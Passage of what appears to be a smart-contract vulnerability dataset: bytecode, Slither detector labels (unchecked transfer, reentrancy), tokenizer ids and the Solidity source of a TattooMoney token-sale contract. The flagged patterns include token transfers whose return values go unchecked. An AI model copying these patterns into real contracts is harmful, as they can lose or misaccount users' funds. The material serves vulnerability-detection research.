888f193505050501580156102f6573d6000803e3d6000fd5b50610473565b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051849350600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561036057600080fd5b505af1158015610374573d6000803e3d6000fd5b505050506040513d602081101561038a57600080fd5b505160008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810185905290519394509085169263a9059cbb92604480840193602093929083900390910190829087803b15801561040057600080fd5b505af1158015610414573d6000803e3d6000fd5b505050506040513d602081101561042a57600080fd5b5050600054604080518381529051600160a060020a03928316928616917ff931edb47c50b4b4104c187b5814a9aef5f709e17e2ecf9617e860cacade929c919081900360200190a35b505050565b600154600160a060020a031681565b3360008181526004602052604081205488146104a257600080fd5b6104ae868686866106fc565b600254600160a060020a039081169116146104c857600080fd5b85600019168289896003546040516020018085600160a060020a0316600160a060020a03166c010000000000000000000000000281526014018481526020018381526020018281526020019450505050506040516020818303038152906040526040518082805190602001908083835b602083106105575780518252601f199092019160209182019101610538565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191614151561059457600080fd5b50600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038481166004830152602482018a905291519190921691829163a9059cbb916044808201926020929091908290030181600087803b15801561060757600080fd5b505af115801561061b573d6000803e3d6000fd5b505050506040513d602081101561063157600080fd5b5050600160a060020a0382166000818152600460209081526040918290208054600101905581518a815291518b93927f947388a4a9d9f5a626e1867acb228f28168d398c4c1f411e50428581024f81b892908290030190a35050505050505050565b600054600160a060020a031633146106aa57600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a031633146106f057600080fd5b6106f981610885565b50565b6040805160608101825260218082527f1945766f6c7574696f6e4c616e64205369676e6564204d6573736167653a0a3360208084019182527f32000000000000000000000000000000000000000000000000000000000000008486015293516000948593849386938c9301918291908083835b6020831061078e5780518252601f19909201916020918201910161076f565b51815160209384036101000a600019018019909216911617905292019384525060408051808503815293820190819052835193945092839250908401908083835b602083106107ee5780518252601f1990920191602091820191016107cf565b51815160209384036101000a600019018019909216911617905260408051929094018290038220600080845283830180875282905260ff8f1684870152606084018e9052608084018d905294519098506001965060a080840196509194601f19820194509281900390910191865af115801561086e573d6000803e3d6000fd5b5050604051601f1901519998505050505050505050565b600160a060020a038116151561089a57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a723058203dac510c7a40db5687853931de1ad32aca909914ec171c33d97ad8d44dea7cd00029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 12521, 2581, 21472, 2063, 2692, 21926, 11329, 16147, 7011, 2094, 17914, 2094, 24096, 2683, 2094, 2487, 2050, 26224, 2063, 2549, 2497, 22932, 2683, 2094, 2683, 26337, 2050, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2603, 1025, 1013, 1013, 5371, 1024, 2330, 4371, 27877, 2378, 1011, 5024, 3012, 1013, 8311, 1013, 6095, 1013, 2219, 3085, 1012, 14017, 1013, 1008, 1008, 1008, 1030, 2516, 2219, 3085, 1008, 1030, 16475, 1996, 2219, 3085, 3206, 2038, 2019, 3954, 4769, 1010, 1998, 3640, 3937, 20104, 2491, 1008, 4972, 1010, 2023, 21934, 24759, 14144, 1996, 7375, 1997, 1000, 5310, 6656, 2015, 1000, 1012, 1008, 1013, 3206, 2219, 3085, 1063, 4769, 2270, 3954, 1025, 2724, 6095, 7389, 23709, 11788, 1006, 4769, 25331, 3025, 12384, 2121, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,022
0x96143d651e826a3c5a3963f68d7b7410a8036852
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.7; // TattooMoney.io Public Sale Contract - via StableCoins, ETH and wBTC // // USE ONLY OWN WALLET (Metamask, TrustWallet, Trezor, Ledger...) // DO NOT SEND FROM EXCHANGES OR ANY SERVICES // // Use ONLY ETH network, ERC20 tokens (Not Binance/Tron/whatever!) // // Set approval to contract address or use USDC authorization first // // DO NOT SEND STABLE TOKENS DIRECTLY - IT WILL NOT COUNT THAT! // // Need 150k gas limit. // Use proper pay* function contract TattooMoneyPublicSaleVI { uint256 private constant DECIMALS_TAT2 = 18; uint256 private constant DECIMALS_DAI = 18; uint256 private constant DECIMALS_USD = 6; uint256 private constant DECIMALS_WBTC = 8; /// max tokens per user is 750000 as $15000 is AML limit uint256 public constant maxTokens = 750_000*(10**DECIMALS_TAT2); /// contract starts accepting transfers uint256 public dateStart; /// hard time limit uint256 public dateEnd; /// total collected USD uint256 public usdCollected; /// sale is limited by tokens count uint256 public tokensLimit; /// tokens sold in this sale uint256 public tokensSold; uint256 public tokensforadolar = 50 * (10**DECIMALS_TAT2); // addresses of tokens address public tat2 = 0xb487d0328b109e302b9d817b6f46Cbd738eA08C2; address public usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address public dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public wbtc = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599; address public usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address public wbtcoracle = 0xF4030086522a5bEEa4988F8cA5B36dbC97BeE88c; address public ethoracle = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; address public owner; address public newOwner; bool public saleEnded; // deposited USD tokens per token address mapping(address => uint256) private _deposited; /// Tokens bought by user mapping(address => uint256) public tokensBoughtOf; mapping(address => bool) public KYCpassed; event AcceptedUSD(address indexed user, uint256 amount); event AcceptedWBTC(address indexed user, uint256 amount); event AcceptedETH(address indexed user, uint256 amount); string constant ERR_TRANSFER = "Token transfer failed"; string constant ERR_SALE_LIMIT = "Token sale limit reached"; string constant ERR_AML = "AML sale limit reached"; string constant ERR_SOON = "TOO SOON"; /** Contract constructor @param _owner adddress of contract owner @param _startDate sale start timestamp @param _endDate sale end timestamp */ constructor( address _owner, uint256 _tokensLimit, // 13666666 uint256 _startDate, // 15-09-2021 22:22:22 GMT (1631737342) uint256 _endDate // 15-10-2021 20:22:22 GMT (1634329342) ) { owner = _owner; tokensLimit = _tokensLimit * (10**DECIMALS_TAT2); dateStart = _startDate; dateEnd = _endDate; } /** Add address that passed KYC @param user address to mark as fee-free */ function addKYCpassed(address user) external onlyOwner { KYCpassed[user] = true; } /** Remove address form KYC list @param user user to remove */ function removeKYCpassed(address user) external onlyOwner { KYCpassed[user] = false; } /** Pay in using USDC, use approve/transferFrom @param amount number of USDC (with decimals) */ function payUSDC(uint256 amount) external { require( INterfaces(usdc).transferFrom(msg.sender, address(this), amount), ERR_TRANSFER ); _pay(msg.sender, amount ); _deposited[usdc] += amount; } /** Pay in using USDT, need set approval first @param amount USDT amount (with decimals) */ function payUSDT(uint256 amount) external { INterfacesNoR(usdt).transferFrom(msg.sender, address(this), amount); _pay(msg.sender, amount ); _deposited[usdt] += amount; } /** Pay in using DAI, need set approval first @param amount number of DAI (with 6 decimals) */ function payDAI(uint256 amount) external { require( INterfaces(dai).transferFrom(msg.sender, address(this), amount), ERR_TRANSFER ); _pay(msg.sender, amount / (10**12)); _deposited[dai] += amount; } /** Pay in using wBTC, need set approval first @param amount number of wBTC (with decimals) */ function paywBTC(uint256 amount) external { require( INterfaces(wbtc).transferFrom(msg.sender, address(this), amount), ERR_TRANSFER ); _paywBTC(msg.sender, amount ); _deposited[wbtc] += amount; } // // accept ETH // receive() external payable { _payEth(msg.sender, msg.value); } function payETH() external payable { _payEth(msg.sender, msg.value); } /** Get ETH price from Chainlink. @return price for 1 ETH with 18 decimals */ function tokensPerEth() public view returns (uint256) { int256 answer; (, answer, , , ) = INterfaces(ethoracle).latestRoundData(); // geting price with 18 decimals return uint256((uint256(answer) * tokensforadolar)*10**4); } /** Get BTC price from Chainlink. @return price for 1 BTC with 18 decimals */ function tokensPerwBTC() public view returns (uint256) { int256 answer; (, answer, , , ) = INterfaces(wbtcoracle).latestRoundData(); // geting price with 18 decimals return uint256((uint256(answer) * tokensforadolar)*10**4); } /** How much tokens left to sale */ function tokensLeft() external view returns (uint256) { return tokensLimit - tokensSold; } function _payEth(address user, uint256 amount) internal notEnded { uint256 sold = (amount * tokensPerEth()) / (10**18); tokensSold += sold; require(tokensSold <= tokensLimit, ERR_SALE_LIMIT); tokensBoughtOf[user] += sold; if(!KYCpassed[user]){ require(tokensBoughtOf[user] <= maxTokens, ERR_AML); } _sendTokens(user, sold); emit AcceptedETH(user, amount); } function _paywBTC(address user, uint256 amount) internal notEnded { uint256 sold = (amount * tokensPerwBTC()) / (10**8); tokensSold += sold; require(tokensSold <= tokensLimit, ERR_SALE_LIMIT); tokensBoughtOf[user] += sold; if(!KYCpassed[user]){ require(tokensBoughtOf[user] <= maxTokens, ERR_AML); } _sendTokens(user, sold); emit AcceptedWBTC(user, amount); } function _pay(address user, uint256 usd) internal notEnded { uint256 sold = (usd * tokensforadolar) / (10**6); tokensSold += sold; require(tokensSold <= tokensLimit, ERR_SALE_LIMIT); tokensBoughtOf[user] += sold; if(!KYCpassed[user]){ require(tokensBoughtOf[user] <= maxTokens, ERR_AML); } _sendTokens(user, sold); emit AcceptedUSD(user, usd); } function _sendTokens(address user, uint256 amount) internal notEnded { require( INterfaces(tat2).transfer(user, amount), ERR_TRANSFER ); } // // modifiers // modifier notEnded() { require(!saleEnded, "Sale ended"); require( block.timestamp > dateStart && block.timestamp < dateEnd, "Too soon or too late" ); _; } modifier onlyOwner() { require(msg.sender == owner, "Only for contract Owner"); _; } /// Take out stables, wBTC and ETH function takeAll() external onlyOwner { uint256 amt = INterfaces(usdt).balanceOf(address(this)); if (amt > 0) { INterfacesNoR(usdt).transfer(owner, amt); } amt = INterfaces(usdc).balanceOf(address(this)); if (amt > 0) { require(INterfaces(usdc).transfer(owner, amt), ERR_TRANSFER); } amt = INterfaces(dai).balanceOf(address(this)); if (amt > 0) { require(INterfaces(dai).transfer(owner, amt), ERR_TRANSFER); } amt = INterfaces(wbtc).balanceOf(address(this)); if (amt > 0) { require(INterfaces(wbtc).transfer(owner, amt), ERR_TRANSFER); } amt = address(this).balance; if (amt > 0) { payable(owner).transfer(amt); } } /// we take unsold TAT2 function TakeUnsoldTAT2() external onlyOwner { uint256 amt = INterfaces(tat2).balanceOf(address(this)); if (amt > 0) { require(INterfaces(tat2).transfer(owner, amt), ERR_TRANSFER); } } /// we can recover any ERC20! function recoverErc20(address token) external onlyOwner { uint256 amt = INterfaces(token).balanceOf(address(this)); if (amt > 0) { INterfacesNoR(token).transfer(owner, amt); // use broken ERC20 to ignore return value } } /// just in case function recoverEth() external onlyOwner { payable(owner).transfer(address(this).balance); } function EndSale() external onlyOwner { saleEnded = true; } function changeOwner(address _newOwner) external onlyOwner { newOwner = _newOwner; } function acceptOwnership() external { require( msg.sender != address(0) && msg.sender == newOwner, "Only NewOwner" ); newOwner = address(0); owner = msg.sender; } } // Interfaces for contract interaction interface INterfaces { function balanceOf(address) external returns (uint256); function transfer(address, uint256) external returns (bool); function transferFrom( address, address, uint256 ) external returns (bool); // chainlink ETH/USD, ethoracle // answer|int256 : 304706968812 - 8 decimals // chainlink BTC/USD wbtcoracle // answer|int256 : 4419282000000 - 8 decimals function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // For tokens that do not return true on transfers eg. USDT interface INterfacesNoR { function transfer(address, uint256) external; function transferFrom( address, address, uint256 ) external; } // by Patrick
0x6080604052600436106102135760003560e01c80639b8906ae11610118578063c1392400116100a0578063d5bf38b71161006f578063d5bf38b7146106f1578063de3bcb971461072e578063e650fad314610745578063e83157421461076e578063f4b9fa751461079957610224565b8063c139240014610645578063c143465814610670578063cbdd69b51461069b578063d4ee1d90146106c657610224565b8063b31f8f93116100e7578063b31f8f9314610584578063b95e099e146105af578063bcdb446b146105d8578063bd563cdd146105ef578063c00149fa1461061a57610224565b80639b8906ae146104dc578063a3b6120c14610507578063a4989b1614610532578063a6f9dae11461055b57610224565b80635b25ed6a1161019b57806376b1dda31161016a57806376b1dda31461041b57806379ba50971461043257806389244e2a146104495780638da5cb5b146104745780638ecad1821461049f57610224565b80635b25ed6a146103945780635b7edb17146103bf5780635d1a8d7b146103e85780636860d9661461041157610224565b80633e413bee116101e25780633e413bee146102c1578063433d2e4c146102ec57806347a1a2d6146103155780634c4327cb14610340578063518ab2a81461036957610224565b80632f48ab7d146102295780633a6b0e22146102545780633b53d36a1461027f5780633cdc53891461029657610224565b366102245761022233346107c4565b005b600080fd5b34801561023557600080fd5b5061023e610b03565b60405161024b9190613229565b60405180910390f35b34801561026057600080fd5b50610269610b29565b6040516102769190613229565b60405180910390f35b34801561028b57600080fd5b50610294610b4f565b005b3480156102a257600080fd5b506102ab610de6565b6040516102b89190613229565b60405180910390f35b3480156102cd57600080fd5b506102d6610e0c565b6040516102e39190613229565b60405180910390f35b3480156102f857600080fd5b50610313600480360381019061030e9190613008565b610e32565b005b34801561032157600080fd5b5061032a610f1d565b6040516103379190613361565b60405180910390f35b34801561034c57600080fd5b5061036760048036038101906103629190613062565b610f23565b005b34801561037557600080fd5b5061037e6110d1565b60405161038b9190613361565b60405180910390f35b3480156103a057600080fd5b506103a96110d7565b6040516103b69190613361565b60405180910390f35b3480156103cb57600080fd5b506103e660048036038101906103e19190613008565b6110dd565b005b3480156103f457600080fd5b5061040f600480360381019061040a9190613062565b6111c8565b005b610419611376565b005b34801561042757600080fd5b50610430611382565b005b34801561043e57600080fd5b5061044761142f565b005b34801561045557600080fd5b5061045e61157d565b60405161046b9190613361565b60405180910390f35b34801561048057600080fd5b50610489611583565b6040516104969190613229565b60405180910390f35b3480156104ab57600080fd5b506104c660048036038101906104c19190613008565b6115a9565b6040516104d39190613361565b60405180910390f35b3480156104e857600080fd5b506104f16115c1565b6040516104fe91906132a4565b60405180910390f35b34801561051357600080fd5b5061051c6115d4565b6040516105299190613361565b60405180910390f35b34801561053e57600080fd5b5061055960048036038101906105549190613062565b6115da565b005b34801561056757600080fd5b50610582600480360381019061057d9190613008565b611798565b005b34801561059057600080fd5b5061059961186c565b6040516105a69190613361565b60405180910390f35b3480156105bb57600080fd5b506105d660048036038101906105d19190613008565b611883565b005b3480156105e457600080fd5b506105ed611a3f565b005b3480156105fb57600080fd5b50610604611b3a565b6040516106119190613229565b60405180910390f35b34801561062657600080fd5b5061062f611b60565b60405161063c9190613229565b60405180910390f35b34801561065157600080fd5b5061065a611b86565b6040516106679190613361565b60405180910390f35b34801561067c57600080fd5b50610685611b8c565b6040516106929190613361565b60405180910390f35b3480156106a757600080fd5b506106b0611c5f565b6040516106bd9190613361565b60405180910390f35b3480156106d257600080fd5b506106db611d32565b6040516106e89190613229565b60405180910390f35b3480156106fd57600080fd5b5061071860048036038101906107139190613008565b611d58565b60405161072591906132a4565b60405180910390f35b34801561073a57600080fd5b50610743611d78565b005b34801561075157600080fd5b5061076c60048036038101906107679190613062565b6125f3565b005b34801561077a57600080fd5b50610783612709565b6040516107909190613361565b60405180910390f35b3480156107a557600080fd5b506107ae612728565b6040516107bb9190613229565b60405180910390f35b600e60149054906101000a900460ff1615610814576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080b90613301565b60405180910390fd5b60005442118015610826575060015442105b610865576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085c90613321565b60405180910390fd5b6000670de0b6b3a7640000610878611c5f565b836108839190613590565b61088d91906133ee565b905080600460008282546108a19190613398565b9250508190555060035460045411156040518060400160405280601881526020017f546f6b656e2073616c65206c696d69742072656163686564000000000000000081525090610927576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091e91906132bf565b60405180910390fd5b5080601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109779190613398565b92505081905550601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610aa6576012600a6109dd9190613472565b620b71b06109eb9190613590565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156040518060400160405280601681526020017f414d4c2073616c65206c696d697420726561636865640000000000000000000081525090610aa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9b91906132bf565b60405180910390fd5b505b610ab0838261274e565b8273ffffffffffffffffffffffffffffffffffffffff167f825df8a9e2b41d546e3c6adc7e6a627331b734d67c4205dd66c9931f12a8cf6e83604051610af69190613361565b60405180910390a2505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd6906132e1565b60405180910390fd5b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610c3c9190613229565b602060405180830381600087803b158015610c5657600080fd5b505af1158015610c6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8e919061308f565b90506000811115610de357600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610d1892919061327b565b602060405180830381600087803b158015610d3257600080fd5b505af1158015610d46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6a9190613035565b6040518060400160405280601581526020017f546f6b656e207472616e73666572206661696c6564000000000000000000000081525090610de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd891906132bf565b60405180910390fd5b505b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ec2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb9906132e1565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60025481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401610f8293929190613244565b602060405180830381600087803b158015610f9c57600080fd5b505af1158015610fb0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd49190613035565b6040518060400160405280601581526020017f546f6b656e207472616e73666572206661696c656400000000000000000000008152509061104b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104291906132bf565b60405180910390fd5b50611056338261291a565b80600f6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110c79190613398565b9250508190555050565b60045481565b60035481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461116d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611164906132e1565b60405180910390fd5b6001601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b815260040161122793929190613244565b602060405180830381600087803b15801561124157600080fd5b505af1158015611255573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112799190613035565b6040518060400160405280601581526020017f546f6b656e207472616e73666572206661696c65640000000000000000000000815250906112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e791906132bf565b60405180910390fd5b506112fb3382612c55565b80600f6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461136c9190613398565b9250508190555050565b61138033346107c4565b565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611412576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611409906132e1565b60405180910390fd5b6001600e60146101000a81548160ff021916908315150217905550565b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156114b95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6114f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ef90613341565b60405180910390fd5b6000600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60015481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60106020528060005260406000206000915090505481565b600e60149054906101000a900460ff1681565b60005481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b815260040161163993929190613244565b602060405180830381600087803b15801561165357600080fd5b505af1158015611667573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061168b9190613035565b6040518060400160405280601581526020017f546f6b656e207472616e73666572206661696c6564000000000000000000000081525090611702576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f991906132bf565b60405180910390fd5b5061171d3364e8d4a510008361171891906133ee565b612c55565b80600f6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461178e9190613398565b9250508190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611828576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181f906132e1565b60405180910390fd5b80600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600060045460035461187e91906135ea565b905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611913576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190a906132e1565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161194e9190613229565b602060405180830381600087803b15801561196857600080fd5b505af115801561197c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119a0919061308f565b90506000811115611a3b578173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401611a0892919061327b565b600060405180830381600087803b158015611a2257600080fd5b505af1158015611a36573d6000803e3d6000fd5b505050505b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac6906132e1565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611b37573d6000803e3d6000fd5b50565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b600080600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b158015611bf757600080fd5b505afa158015611c0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c2f91906130bc565b90919293509091509050508091505061271060055482611c4f9190613590565b611c599190613590565b91505090565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b158015611cca57600080fd5b505afa158015611cde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d0291906130bc565b90919293509091509050508091505061271060055482611d229190613590565b611d2c9190613590565b91505090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60116020528060005260406000206000915054906101000a900460ff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dff906132e1565b60405180910390fd5b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611e659190613229565b602060405180830381600087803b158015611e7f57600080fd5b505af1158015611e93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eb7919061308f565b90506000811115611f7457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401611f4192919061327b565b600060405180830381600087803b158015611f5b57600080fd5b505af1158015611f6f573d6000803e3d6000fd5b505050505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611fcf9190613229565b602060405180830381600087803b158015611fe957600080fd5b505af1158015611ffd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612021919061308f565b9050600081111561217657600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016120ab92919061327b565b602060405180830381600087803b1580156120c557600080fd5b505af11580156120d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120fd9190613035565b6040518060400160405280601581526020017f546f6b656e207472616e73666572206661696c6564000000000000000000000081525090612174576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216b91906132bf565b60405180910390fd5b505b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016121d19190613229565b602060405180830381600087803b1580156121eb57600080fd5b505af11580156121ff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612223919061308f565b9050600081111561237857600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016122ad92919061327b565b602060405180830381600087803b1580156122c757600080fd5b505af11580156122db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122ff9190613035565b6040518060400160405280601581526020017f546f6b656e207472616e73666572206661696c6564000000000000000000000081525090612376576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236d91906132bf565b60405180910390fd5b505b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016123d39190613229565b602060405180830381600087803b1580156123ed57600080fd5b505af1158015612401573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612425919061308f565b9050600081111561257a57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016124af92919061327b565b602060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612501